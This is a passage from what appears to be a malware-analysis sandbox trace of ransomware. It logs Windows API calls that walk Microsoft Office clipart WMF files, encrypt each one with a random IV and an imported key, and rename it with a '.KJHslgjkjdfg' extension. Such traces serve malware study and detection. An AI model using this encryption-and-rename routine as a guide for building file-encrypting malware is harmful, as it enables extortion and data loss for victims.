dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.537] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.537] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xef6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xef6, lpOverlapped=0x0) returned 1 [0210.537] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00, dwBufLen=0xf00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00) returned 1 [0210.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.538] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf00, lpOverlapped=0x0) returned 1 [0210.538] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.538] SetEndOfFile (hFile=0x130) returned 1 [0210.540] GetProcessHeap () returned 0x990000 [0210.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0210.540] GetProcessHeap () returned 0x990000 [0210.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.kjhslgjkjdfg")) returned 1 [0210.675] CloseHandle (hObject=0x130) returned 1 [0210.675] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x7aac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRRTINST.WMF", cAlternateFileName="")) returned 1 [0210.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.677] GetProcessHeap () returned 0x990000 [0210.677] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.677] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.677] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.683] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.683] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.683] GetProcessHeap () returned 0x990000 [0210.683] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.683] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.683] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.683] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.683] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.683] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.683] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.683] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.683] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.683] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.684] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7aac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7aac, lpOverlapped=0x0) returned 1 [0210.685] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ab0) returned 1 [0210.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.685] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ab0, lpOverlapped=0x0) returned 1 [0210.686] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.686] SetEndOfFile (hFile=0x130) returned 1 [0210.687] GetProcessHeap () returned 0x990000 [0210.687] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.687] GetProcessHeap () returned 0x990000 [0210.687] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.kjhslgjkjdfg")) returned 1 [0210.689] CloseHandle (hObject=0x130) returned 1 [0210.689] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSRETRO.WMF", cAlternateFileName="")) returned 1 [0210.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.691] GetProcessHeap () returned 0x990000 [0210.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.691] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.691] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0210.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.693] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.693] GetProcessHeap () returned 0x990000 [0210.693] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.693] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.693] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.693] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.693] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.693] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.693] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.693] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.693] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.693] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.693] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3d6, lpOverlapped=0x0) returned 1 [0210.693] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e0, dwBufLen=0x3e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e0) returned 1 [0210.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.694] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3e0, lpOverlapped=0x0) returned 1 [0210.694] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.694] SetEndOfFile (hFile=0x130) returned 1 [0210.695] GetProcessHeap () returned 0x990000 [0210.695] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.695] GetProcessHeap () returned 0x990000 [0210.695] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.kjhslgjkjdfg")) returned 1 [0210.698] CloseHandle (hObject=0x130) returned 1 [0210.698] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0210.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.700] GetProcessHeap () returned 0x990000 [0210.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.700] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.700] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0210.701] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.701] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.701] GetProcessHeap () returned 0x990000 [0210.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.701] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.701] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.701] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.702] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.702] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.702] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.702] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.702] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.702] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.702] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe0a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe0a, lpOverlapped=0x0) returned 1 [0210.702] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe10, dwBufLen=0xe10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe10) returned 1 [0210.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.702] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe10, lpOverlapped=0x0) returned 1 [0210.702] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.703] SetEndOfFile (hFile=0x130) returned 1 [0210.703] GetProcessHeap () returned 0x990000 [0210.703] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.703] GetProcessHeap () returned 0x990000 [0210.703] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.703] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.kjhslgjkjdfg")) returned 1 [0210.704] CloseHandle (hObject=0x130) returned 1 [0210.704] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0210.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.708] GetProcessHeap () returned 0x990000 [0210.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.709] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.709] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0210.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.710] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.710] GetProcessHeap () returned 0x990000 [0210.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.710] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.710] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.710] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.710] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.710] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.711] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.711] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.711] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.711] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.711] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x776, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x776, lpOverlapped=0x0) returned 1 [0210.711] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780, dwBufLen=0x780 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x780) returned 1 [0210.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.711] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x780, lpOverlapped=0x0) returned 1 [0210.711] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.711] SetEndOfFile (hFile=0x130) returned 1 [0210.713] GetProcessHeap () returned 0x990000 [0210.713] HeapFree (in: 